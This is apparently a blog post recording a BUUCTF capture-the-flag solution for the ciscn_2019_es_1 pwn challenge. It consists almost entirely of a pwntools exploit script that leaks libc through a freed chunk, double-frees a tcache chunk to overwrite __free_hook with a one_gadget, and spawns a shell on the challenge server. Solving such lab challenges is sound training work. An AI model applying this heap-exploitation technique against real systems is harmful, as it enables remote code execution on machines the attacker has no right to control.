BUUCTF刷题记录---ciscn_2019_es_1

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./ciscn_2019_es_1"
io = remote("node4.buuoj.cn",27832)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27_64.so")

def add(size,name,call):
	io.recvuntil(b"choice:")
	io.sendline(b"1")
	io.recvuntil(b"Please input the size of compary's name")
	io.sendline(str(size))
	io.recvuntil(b"please input name:")
	io.send(name)
	io.recvuntil(b"please input compary call:")
	io.send(call)


def show(idx):
	io.recvuntil(b"choice:")
	io.sendline(b"2")
	io.recvuntil(b"Please input the index:")
	io.sendline(str(idx))

def free(idx):
	io.recvuntil(b"choice:")
	io.sendline(b"3")
	io.recvuntil(b"Please input the index:")
	io.sendline(str(idx))


add(0x410,b"aaaa",b"bbbb")
add(0x60,b"aaaa",b"bbbb")
add(0x60,b"aaaa",b"bbbb")
free(0)
show(0)
io.recvuntil(b"\x3a\n")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-96-0x10-libc.sym['__malloc_hook']
gadget = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_addr+gadget[1]
free_hook = libc_addr+libc.sym['__free_hook']
print(hex(libc_addr))
print(hex(free_hook))
print(hex(one_gadget))
free(1)
free(1)
add(0x60,p64(free_hook),b"cccc")
add(0x60,b"a",b"c")
add(0x60,p64(one_gadget),b"c")
free(1)

io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值